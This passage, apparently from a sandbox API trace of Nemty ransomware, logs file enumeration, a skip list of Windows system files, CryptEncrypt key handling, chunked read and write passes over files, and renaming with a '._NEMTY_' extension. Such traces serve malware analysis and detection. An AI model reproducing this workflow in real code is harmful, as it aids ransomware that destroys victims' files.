RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0087.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0087.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0087.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0087.146] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.147] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0087.147] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0087.148] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0087.148] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0087.148] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0087.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0087.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0087.148] Sleep (dwMilliseconds=0x5) [0087.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe79866d0, dwHighDateTime=0x1d561e7)) [0087.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe79866d0, dwHighDateTime=0x1d561e7)) [0087.155] GetLastError () returned 0x5 [0087.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.155] GetLastError () returned 0x5 [0087.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0087.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="p9ngpLs5eQgDGFWRMPChIcgLfJ4PKMRVcfKkIRi+30qDuapYV+zeSnwnbqqcnZkF\r\n2lXsbPecIimcyhdcoEOTRzjmlvj5sNZuSi4rxXGdeHUgXtAN7HOcgrZbDABzoQZ1\r\n69q6j/avMv5+0C44hlwAbv05VU8McRHeJEvYRftWhLk3XZNjuyO+/AJfs8nJkjwt\r\nq9ltk5xPbIuqACaGPajHTMYa47Eestpbr3CL2QwdaVteQwGvh5VfRZseJnf6DFyp\r\noR4bVSMm79fYp5xYstzIiF9j+MUsV1u0RE2f9Mwn6CycLWWH2JXN8p8rwjyutN2l\r\nSXtGLwmTgObIONCDX9yyhw==\r\n", pcchString=0x653e91c) returned 1 [0087.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0087.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.156] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.156] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.263] CloseHandle (hObject=0xffffffff) returned 0 [0087.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0087.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0087.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340440 [0087.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0087.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.263] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: 